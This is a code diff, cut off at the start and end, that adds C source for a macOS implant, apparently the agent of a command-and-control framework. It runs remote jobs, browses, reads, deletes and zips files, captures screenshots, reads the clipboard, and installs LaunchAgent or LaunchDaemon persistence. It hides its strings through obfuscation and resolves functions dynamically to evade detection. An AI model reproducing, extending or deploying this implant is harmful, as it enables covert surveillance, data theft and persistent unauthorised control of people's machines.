char* args[64]; + int argc = 0; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 4 && ax_memcmp(k, "task", 4) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; } + } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) { + const char* v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "args", 4) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + for (uint32_t j = 0; j < arr_count && argc < 63; j++) { + const char* v; uint32_t vl; + if (mp_read_str(&r, &v, &vl) == 0) { + args[argc] = (char*)ax_malloc(vl + 1); + ax_memcpy(args[argc], v, vl); + args[argc][vl] = '\0'; + argc++; + } + } + } + } else { + mp_skip(&r); + } + } + + if (task[0] == '\0' || program[0] == '\0') { + for (int i = 0; i < argc; i++) ax_free(args[i], ax_strlen(args[i]) + 1); + write_error(w, "missing task or program"); + return 0; + } + + // Allocate job slot + int idx = jobs_alloc(&g_job_ctx); + if (idx < 0) { + for (int i = 0; i < argc; i++) ax_free(args[i], ax_strlen(args[i]) + 1); + write_error(w, "max jobs reached"); + return 0; + } + + job_entry_t* job = &g_job_ctx.jobs[idx]; + ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1); + job->job_type = JOB_TYPE_RUN; + job->active = 1; + + // Prepare thread args + run_args_t* rargs = (run_args_t*)ax_malloc(sizeof(run_args_t)); + ax_memset(rargs, 0, sizeof(run_args_t)); + rargs->job_idx = idx; + ax_strncpy(rargs->task, task, sizeof(rargs->task) - 1); + ax_strncpy(rargs->program, program, sizeof(rargs->program) - 1); + rargs->argc = argc; + for (int i = 0; i < argc; i++) + rargs->args[i] = args[i]; // Transfer ownership + + R_pthread_create(&job->thread, (void*)0, run_thread, rargs); + R_pthread_detach(job->thread); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "run started"); + return 0; +} + +// ── Job List ── +// Returns list of active jobs: [{job_id, job_type}, ...] + +int task_job_list(mp_writer_t* w) { + job_context_t* ctx = &g_job_ctx; + + // Count active jobs + int count = 0; + R_pthread_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active) count++; + } + + mp_write_map(w, 1); + mp_write_str(w, "jobs", 4); + mp_write_array(w, (uint32_t)count); + + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active) { + mp_write_map(w, 2); + mp_write_kv_str(w, "job_id", ctx->jobs[i].job_id); + mp_write_kv_int(w, "job_type", ctx->jobs[i].job_type); + } + } + R_pthread_mutex_unlock(&ctx->jobs_mutex); + + return 0; +} + +// ── Job Kill ── +// Go: ParamsJobKill{Id string} + +int task_job_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + const char* id = (const char*)0; + uint32_t id_len = 0; + + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 2 && ax_memcmp(k, "id", 2) == 0) { + mp_read_str(&r, &id, &id_len); + } else { + mp_skip(&r); + } + } + + if (!id || id_len == 0) { write_error(w, "missing id"); return 0; } + + // Copy ID to null-terminated string + char id_str[64] = {0}; + if (id_len >= sizeof(id_str)) id_len = sizeof(id_str) - 1; + ax_memcpy(id_str, id, id_len); + + job_context_t* ctx = &g_job_ctx; + + // Search in jobs (downloads + runs) + int idx = jobs_find(ctx, id_str); + if (idx >= 0) { + ctx->jobs[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "job canceled"); + return 0; + } + + // Search in tunnels + // Try to parse as integer for channel_id + int ch_id = ax_atoi(id_str); + int tidx = tunnels_find(ctx, ch_id); + if (tidx >= 0) { + ctx->tunnels[tidx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel canceled"); + return 0; + } + + // Search in terminals + int term_idx = terminals_find(ctx, ch_id); + if (term_idx >= 0) { + ctx->terminals[term_idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal canceled"); + return 0; + } + + write_error(w, "job not found"); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h new file mode 100644 index 000000000..b5f489462 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h @@ -0,0 +1,16 @@ +#ifndef TASKS_ASYNC_H +#define TASKS_ASYNC_H + +#include "msgpack.h" +#include + +/// Async command handlers — download, upload, run, job_list, job_kill +/// These launch background threads with separate C2 connections + +int task_download(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_upload(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_run(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_job_list(mp_writer_t* w); +int task_job_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_ASYNC_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c new file mode 100644 index 000000000..363e79e4b --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c @@ -0,0 +1,501 @@ +#include "tasks_fs.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Helper: expand ~ to home directory +static void normalize_path(const char* input, char* out, size_t out_size) { + if (input[0] == '~' && (input[1] == '/' || input[1] == '\0')) { + const char* home = R_getenv("HOME"); + if (!home) { + struct passwd* pw = (struct passwd*)R_getpwuid(R_getuid()); + home = pw ? pw->pw_dir : "/tmp"; + } + ax_strncpy(out, home, out_size - 1); + ax_strcat(out, input + 1); + } else { + ax_strncpy(out, input, out_size - 1); + } + out[out_size - 1] = '\0'; +} + +// Helper: parse a single string field from msgpack params +static int parse_string_param(const uint8_t* data, uint32_t data_len, + const char* key_name, char* out, size_t out_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == ax_strlen(key_name) && ax_memcmp(key, key_name, klen) == 0) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out_size) vlen = (uint32_t)(out_size - 1); + ax_memcpy(out, val, vlen); + out[vlen] = '\0'; + return 0; + } + mp_skip(&r); + } + return -1; +} + +// Helper: parse two string fields (src, dst) +static int parse_two_strings(const uint8_t* data, uint32_t data_len, + const char* key1, char* out1, size_t out1_size, + const char* key2, char* out2, size_t out2_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + int found = 0; + for (uint32_t i = 0; i < map_count; i++) { + const char* key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == ax_strlen(key1) && ax_memcmp(key, key1, klen) == 0) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out1_size) vlen = (uint32_t)(out1_size - 1); + ax_memcpy(out1, val, vlen); + out1[vlen] = '\0'; + found++; + } else if (klen == ax_strlen(key2) && ax_memcmp(key, key2, klen) == 0) { + const char* val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out2_size) vlen = (uint32_t)(out2_size - 1); + ax_memcpy(out2, val, vlen); + out2[vlen] = '\0'; + found++; + } else { + mp_skip(&r); + } + } + return (found >= 2) ? 0 : -1; +} + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// ---- Command handlers ---- + +int task_cd(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + if (R_chdir(path) != 0) { + write_error(w, "chdir failed"); + return 0; + } + + char cwd[4096]; + if (R_getcwd(cwd, sizeof(cwd)) == NULL) { + write_error(w, "getcwd failed"); + return 0; + } + + // Response: AnsPwd {path: string} + mp_write_map(w, 1); + mp_write_kv_str(w, "path", cwd); + return 0; +} + +int task_cat(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Check file size (max 1 MB) + struct stat st; + if (R_stat(path, &st) != 0) { + write_error(w, "file not found"); + return 0; + } + if (st.st_size > 1024 * 1024) { + write_error(w, "file size exceeds 1 Mb (use download)"); + return 0; + } + + int fd = R_open(path, O_RDONLY, 0); + if (fd < 0) { + write_error(w, "cannot open file"); + return 0; + } + + uint8_t* content = (uint8_t*)ax_malloc((size_t)st.st_size); + ssize_t n = R_read(fd, content, (size_t)st.st_size); + R_close(fd); + + if (n < 0) { + ax_free(content, (size_t)st.st_size); + write_error(w, "read failed"); + return 0; + } + + // Response: AnsCat {path, content} + mp_write_map(w, 2); + mp_write_kv_str(w, "path", path); + mp_write_kv_bin(w, "content", content, (uint32_t)n); + + ax_free(content, (size_t)st.st_size); + return 0; +} + +int task_ls(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + // Default to "." if no path + ax_strcpy(raw_path, "."); + parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)); + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Check if single file + struct stat st; + if (R_stat(path, &st) != 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "path not found"); + mp_write_kv_str(w, "path", path); + return 0; + } + + // Build file list + mp_writer_t files_writer; + mp_writer_init(&files_writer, 4096); + + if (S_ISDIR(st.st_mode)) { + DIR* dir = (DIR*)R_opendir(path); + if (!dir) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot open directory"); + mp_write_kv_str(w, "path", path); + return 0; + } + + // Count entries first + uint32_t count = 0; + struct dirent* ent; + while ((ent = (struct dirent*)R_readdir(dir)) != NULL) count++; + R_rewinddir(dir); + + mp_write_array(&files_writer, count); + while ((ent = (struct dirent*)R_readdir(dir)) != NULL) { + char fullpath[4096]; + ax_strncpy(fullpath, path, sizeof(fullpath) - 1); + size_t plen = ax_strlen(fullpath); + if (plen > 0 && fullpath[plen - 1] != '/') { + ax_strcat(fullpath, "/"); + } + ax_strcat(fullpath, ent->d_name); + + struct stat fst; + if (R_stat(fullpath, &fst) != 0) { + ax_memset(&fst, 0, sizeof(fst)); + } + + // Mode string + char mode[11]; + mode[0] = S_ISDIR(fst.st_mode) ? 'd' : (S_ISLNK(fst.st_mode) ? 'l' : '-'); + mode[1] = (fst.st_mode & S_IRUSR) ? 'r' : '-'; + mode[2] = (fst.st_mode & S_IWUSR) ? 'w' : '-'; + mode[3] = (fst.st_mode & S_IXUSR) ? 'x' : '-'; + mode[4] = (fst.st_mode & S_IRGRP) ? 'r' : '-'; + mode[5] = (fst.st_mode & S_IWGRP) ? 'w' : '-'; + mode[6] = (fst.st_mode & S_IXGRP) ? 'x' : '-'; + mode[7] = (fst.st_mode & S_IROTH) ? 'r' : '-'; + mode[8] = (fst.st_mode & S_IWOTH) ? 'w' : '-'; + mode[9] = (fst.st_mode & S_IXOTH) ? 'x' : '-'; + mode[10] = '\0'; + + // User/Group + struct passwd* pw = (struct passwd*)R_getpwuid(fst.st_uid); + struct group* gr = (struct group*)R_getgrgid(fst.st_gid); + const char* user = pw ? pw->pw_name : "?"; + const char* group = gr ? gr->gr_name : "?"; + + // Date + char date[64]; + struct tm* tm = (struct tm*)R_localtime(&fst.st_mtime); + R_strftime(date, sizeof(date), "%b %d %H:%M", tm); + + // FileInfo map (declaration order) + mp_write_map(&files_writer, 8); + mp_write_kv_str(&files_writer, "mode", mode); + mp_write_kv_int(&files_writer, "nlink", (int64_t)fst.st_nlink); + mp_write_kv_str(&files_writer, "user", user); + mp_write_kv_str(&files_writer, "group", group); + mp_write_kv_int(&files_writer, "size", (int64_t)fst.st_size); + mp_write_kv_str(&files_writer, "date", date); + mp_write_kv_str(&files_writer, "filename", ent->d_name); + mp_write_kv_bool(&files_writer, "is_dir", S_ISDIR(fst.st_mode) ? 1 : 0); + } + R_closedir(dir); + } else { + // Single file + mp_write_array(&files_writer, 1); + + char mode[11]; + mode[0] = '-'; + mode[1] = (st.st_mode & S_IRUSR) ? 'r' : '-'; + mode[2] = (st.st_mode & S_IWUSR) ? 'w' : '-'; + mode[3] = (st.st_mode & S_IXUSR) ? 'x' : '-'; + mode[4] = (st.st_mode & S_IRGRP) ? 'r' : '-'; + mode[5] = (st.st_mode & S_IWGRP) ? 'w' : '-'; + mode[6] = (st.st_mode & S_IXGRP) ? 'x' : '-'; + mode[7] = (st.st_mode & S_IROTH) ? 'r' : '-'; + mode[8] = (st.st_mode & S_IWOTH) ? 'w' : '-'; + mode[9] = (st.st_mode & S_IXOTH) ? 'x' : '-'; + mode[10] = '\0'; + + struct passwd* pw = (struct passwd*)R_getpwuid(st.st_uid); + struct group* gr = (struct group*)R_getgrgid(st.st_gid); + const char* user = pw ? pw->pw_name : "?"; + const char* group = gr ? gr->gr_name : "?"; + + char date[64]; + struct tm* tm = (struct tm*)R_localtime(&st.st_mtime); + R_strftime(date, sizeof(date), "%b %d %H:%M", tm); + + // Extract basename + const char* basename = raw_path; + for (const char* p = raw_path; *p; p++) { + if (*p == '/') basename = p + 1; + } + + mp_write_map(&files_writer, 8); + mp_write_kv_str(&files_writer, "mode", mode); + mp_write_kv_int(&files_writer, "nlink", (int64_t)st.st_nlink); + mp_write_kv_str(&files_writer, "user", user); + mp_write_kv_str(&files_writer, "group", group); + mp_write_kv_int(&files_writer, "size", (int64_t)st.st_size); + mp_write_kv_str(&files_writer, "date", date); + mp_write_kv_str(&files_writer, "filename", basename); + mp_write_kv_bool(&files_writer, "is_dir", 0); + } + + // Ensure path ends with / + char display_path[4096]; + ax_strncpy(display_path, path, sizeof(display_path) - 2); + size_t dlen = ax_strlen(display_path); + if (dlen > 0 && display_path[dlen - 1] != '/' && S_ISDIR(st.st_mode)) { + display_path[dlen] = '/'; + display_path[dlen + 1] = '\0'; + } + + // Response: AnsLs {result, status, path, files} + mp_write_map(w, 4); + mp_write_kv_bool(w, "result", 1); + mp_write_kv_str(w, "status", ""); + mp_write_kv_str(w, "path", display_path); + mp_write_kv_bin(w, "files", files_writer.buf.data, (uint32_t)files_writer.buf.len); + + mp_writer_free(&files_writer); + return 0; +} + +int task_cp(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + // Use macOS copyfile() for both files and directories + copyfile_flags_t flags = COPYFILE_ALL | COPYFILE_RECURSIVE; + if (R_copyfile(src, dst, NULL, flags) != 0) { + write_error(w, "copy failed"); + return 0; + } + + // No response body on success (nil equivalent) + mp_write_nil(w); + return 0; +} + +int task_mv(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + // Try rename first (same filesystem) + if (R_rename(src, dst) != 0) { + // Fallback: copy + delete + copyfile_flags_t flags = COPYFILE_ALL | COPYFILE_RECURSIVE; + if (R_copyfile(src, dst, NULL, flags) != 0) { + write_error(w, "move failed"); + return 0; + } + // Delete source + struct stat st; + if (R_stat(src, &st) == 0) { + if (S_ISDIR(st.st_mode)) { + // Recursive delete — use a simple shell approach + // since we don't have nftw in nostdlib + // For now, just rmdir (works for empty dirs) + R_rmdir(src); + } else { + R_unlink(src); + } + } + } + + mp_write_nil(w); + return 0; +} + +int task_mkdir(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Create directory with parents (simplified mkdirall) + char tmp[4096]; + ax_strncpy(tmp, path, sizeof(tmp) - 1); + for (char* p = tmp + 1; *p; p++) { + if (*p == '/') { + *p = '\0'; + R_mkdir(tmp, 0755); + *p = '/'; + } + } + if (R_mkdir(tmp, 0755) != 0) { + struct stat st; + if (R_stat(tmp, &st) != 0 || !S_ISDIR(st.st_mode)) { + write_error(w, "mkdir failed"); + return 0; + } + } + + mp_write_nil(w); + return 0; +} + +int task_rm(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + struct stat st; + if (R_stat(path, &st) != 0) { + write_error(w, "path not found"); + return 0; + } + + if (S_ISDIR(st.st_mode)) { + // Recursive directory removal via fork+exec + DEOBF(rm_path, OBF_RM); + pid_t pid = R_fork(); + if (pid == 0) { + R_execl(rm_path, "rm", "-rf", path, NULL); + R_exit(1); + } else if (pid > 0) { + int status; + R_waitpid(pid, &status, 0); + ZERO_STR(rm_path, OBF_RM); + if (WEXITSTATUS(status) != 0) { + write_error(w, "rm -rf failed"); + return 0; + } + } else { + write_error(w, "fork failed"); + return 0; + } + } else { + if (R_unlink(path) != 0) { + write_error(w, "unlink failed"); + return 0; + } + } + + mp_write_nil(w); + return 0; +} + +int task_zip(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + // Use ditto (macOS built-in) to create zip + DEOBF(ditto_path, OBF_DITTO); + pid_t pid = R_fork(); + if (pid == 0) { + R_execl(ditto_path, "ditto", "-c", "-k", "--sequesterRsrc", src, dst, NULL); + R_exit(1); + } else if (pid > 0) { + int status; + R_waitpid(pid, &status, 0); + ZERO_STR(ditto_path, OBF_DITTO); + if (WEXITSTATUS(status) != 0) { + write_error(w, "zip failed"); + return 0; + } + } else { + write_error(w, "fork failed"); + return 0; + } + + // Response: AnsZip {path} + mp_write_map(w, 1); + mp_write_kv_str(w, "path", dst); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h new file mode 100644 index 000000000..6af32ac6c --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h @@ -0,0 +1,16 @@ +#ifndef TASKS_FS_H +#define TASKS_FS_H + +#include "msgpack.h" +#include + +int task_cd(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_cat(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_ls(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_cp(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_mv(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_mkdir(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_rm(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_zip(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_FS_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c new file mode 100644 index 000000000..89106265d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c @@ -0,0 +1,668 @@ +#include "tasks_macos.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _mdbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +#else +#define _mdbg(msg) ((void)0) +#endif + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// Helper: run a command and capture output +static int run_capture(const char* prog, char* const argv[], char* output, size_t output_size) { + int pipefd[2]; + if (R_pipe(pipefd) != 0) return -1; + + pid_t pid = R_fork(); + if (pid < 0) { + R_close(pipefd[0]); R_close(pipefd[1]); + return -1; + } + if (pid == 0) { + R_close(pipefd[0]); + R_dup2(pipefd[1], STDOUT_FILENO); + R_dup2(pipefd[1], STDERR_FILENO); + R_close(pipefd[1]); + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + R_execve(prog, argv, environ); + R_exit(127); + } + + R_close(pipefd[1]); + size_t total = 0; + ssize_t n; + while (total < output_size - 1 && (n = R_read(pipefd[0], output + total, output_size - 1 - total)) > 0) { + total += (size_t)n; + } + output[total] = '\0'; + R_close(pipefd[0]); + + int status; + R_waitpid(pid, &status, 0); + return WEXITSTATUS(status); +} + +// Helper: dynamic buffer version of run_capture +static int run_capture_buf(const char* prog, char* const argv[], buffer_t* out) { + int pipefd[2]; + if (R_pipe(pipefd) != 0) return -1; + + pid_t pid = R_fork(); + if (pid < 0) { + R_close(pipefd[0]); R_close(pipefd[1]); + return -1; + } + if (pid == 0) { + R_close(pipefd[0]); + R_dup2(pipefd[1], STDOUT_FILENO); + R_dup2(pipefd[1], STDERR_FILENO); + R_close(pipefd[1]); + extern char*** _NSGetEnviron(void); + char** environ = *_NSGetEnviron(); + R_execve(prog, argv, environ); + R_exit(127); + } + + R_close(pipefd[1]); + char buf[4096]; + ssize_t n; + while ((n = R_read(pipefd[0], buf, sizeof(buf))) > 0) { + buf_append(out, (uint8_t*)buf, (size_t)n); + } + R_close(pipefd[0]); + + int status; + R_waitpid(pid, &status, 0); + return WEXITSTATUS(status); +} + +// Parse a string field from msgpack +static int parse_string_field(const uint8_t* data, uint32_t data_len, + const char* key_name, char* out, size_t out_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == ax_strlen(key_name) && ax_memcmp(k, key_name, kl) == 0) { + const char* v; uint32_t vl; + if (mp_read_str(&r, &v, &vl) != 0) return -1; + if (vl >= out_size) vl = (uint32_t)(out_size - 1); + ax_memcpy(out, v, vl); + out[vl] = '\0'; + return 0; + } + mp_skip(&r); + } + return -1; +} + +int task_screenshot(mp_writer_t* w) { + // Generate unique temp filename + DEOBF(tmp_prefix, OBF_TMP); + char tmpfile[64]; + ax_strcpy(tmpfile, tmp_prefix); + ax_strcat(tmpfile, "/.ax_"); + ZERO_STR(tmp_prefix, OBF_TMP); + + uint8_t rnd[6]; + ax_random_bytes(rnd, 6); + size_t pos = ax_strlen(tmpfile); + for (int i = 0; i < 6; i++) { + tmpfile[pos + i*2] = "0123456789abcdef"[(rnd[i] >> 4) & 0xf]; + tmpfile[pos + i*2 + 1] = "0123456789abcdef"[rnd[i] & 0xf]; + } + tmpfile[pos + 12] = '\0'; + ax_strcat(tmpfile, ".png"); + + DEOBF(screencapture_path, OBF_SCREENCAPTURE); + _mdbg("[SCREENSHOT] path:"); + _mdbg(screencapture_path); + _mdbg("[SCREENSHOT] tmpfile:"); + _mdbg(tmpfile); + char* argv[] = { "screencapture", "-x", tmpfile, NULL }; + int ret = run_capture(screencapture_path, argv, (char[1]){0}, 1); + ZERO_STR(screencapture_path, OBF_SCREENCAPTURE); + +#ifdef DEBUG_TRACE + { + char rbuf[48]; + int ri = 0; + const char* rp = "[SCREENSHOT] ret="; + while (*rp) rbuf[ri++] = *rp++; + int rv = ret; + char nb[8]; int ni = 0; + if (rv == 0) { nb[ni++] = '0'; } + else { do { nb[ni++] = '0' + (rv % 10); rv /= 10; } while (rv > 0); } + while (ni > 0) rbuf[ri++] = nb[--ni]; + rbuf[ri] = '\0'; + _mdbg(rbuf); + } +#endif + + if (ret != 0) { + R_unlink(tmpfile); + write_error(w, "screencapture failed"); + return 0; + } + + int fd = R_open(tmpfile, O_RDONLY, 0); + if (fd < 0) { + _mdbg("[SCREENSHOT] cannot open tmpfile (TCC Screen Recording permission likely missing)"); + write_error(w, "screenshot failed: file not created (Screen Recording TCC permission required)"); + return 0; + } + + buffer_t img; + buf_init(&img, 65536); + char buf[8192]; + ssize_t n; + while ((n = R_read(fd, buf, sizeof(buf))) > 0) { + buf_append(&img, (uint8_t*)buf, (size_t)n); + } + R_close(fd); + R_unlink(tmpfile); + +#ifdef DEBUG_TRACE + { + char ibuf[48]; + int ii = 0; + const char* ip = "[SCREENSHOT] img_len="; + while (*ip) ibuf[ii++] = *ip++; + size_t iv = img.len; + char nb[12]; int ni = 0; + do { nb[ni++] = '0' + (iv % 10); iv /= 10; } while (iv > 0); + while (ni > 0) ibuf[ii++] = nb[--ni]; + ibuf[ii] = '\0'; + _mdbg(ibuf); + } +#endif + + mp_write_map(w, 1); + mp_write_str(w, "screens", 7); + mp_write_array(w, 1); + mp_write_bin(w, img.data, (uint32_t)img.len); + + buf_free(&img); + return 0; +} + +int task_clipboard(mp_writer_t* w) { + buffer_t out; + buf_init(&out, 4096); + + DEOBF(pbpaste_path, OBF_PBPASTE); + char* argv[] = { "pbpaste", NULL }; + run_capture_buf(pbpaste_path, argv, &out); + ZERO_STR(pbpaste_path, OBF_PBPASTE); + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + + buf_free(&out); + return 0; +} + +int task_persist(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char action[32] = {0}, method[32] = {0}, name[256] = {0}; + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + const char* v; uint32_t vl; + if (kl == 6 && ax_memcmp(k, "action", 6) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(action)) { ax_memcpy(action, v, vl); action[vl] = '\0'; } + } else if (kl == 6 && ax_memcmp(k, "method", 6) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(method)) { ax_memcpy(method, v, vl); method[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "name", 4) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(name)) { ax_memcpy(name, v, vl); name[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + buffer_t out; + buf_init(&out, 4096); + + if (ax_strcmp(action, "status") == 0) { + DEOBF(launchctl_path, OBF_LAUNCHCTL); + char* argv[] = { "launchctl", "list", NULL }; + run_capture_buf(launchctl_path, argv, &out); + ZERO_STR(launchctl_path, OBF_LAUNCHCTL); + } else if (ax_strcmp(action, "install") == 0) { + char exe_path[1024]; + uint32_t exe_size = sizeof(exe_path); + extern int _NSGetExecutablePath(char*, uint32_t*); + _NSGetExecutablePath(exe_path, &exe_size); + + char plist_path[1024]; + if (ax_strcmp(method, "launchdaemon") == 0) { + DEOBF(ld_path, OBF_LAUNCH_DAEMONS); + ax_strcpy(plist_path, ld_path); + ax_strcat(plist_path, "/"); + ZERO_STR(ld_path, OBF_LAUNCH_DAEMONS); + } else { + const char* home = R_getenv("HOME"); + DEOBF(tmp_path, OBF_TMP); + if (!home) home = tmp_path; + ax_strcpy(plist_path, home); + ax_strcat(plist_path, "/"); + DEOBF(la_path, OBF_LAUNCH_AGENTS); + ax_strcat(plist_path, la_path); + ax_strcat(plist_path, "/"); + ZERO_STR(la_path, OBF_LAUNCH_AGENTS); + ZERO_STR(tmp_path, OBF_TMP); + } + ax_strcat(plist_path, name); + ax_strcat(plist_path, ".plist"); + + char plist[2048]; + ax_strcpy(plist, "\n" + "\n" + "\n\n" + "\tLabel\n\t"); + ax_strcat(plist, name); + ax_strcat(plist, "\n" + "\tProgramArguments\n\t\n\t\t"); + ax_strcat(plist, exe_path); + ax_strcat(plist, "\n\t\n" + "\tRunAtLoad\n\t\n" + 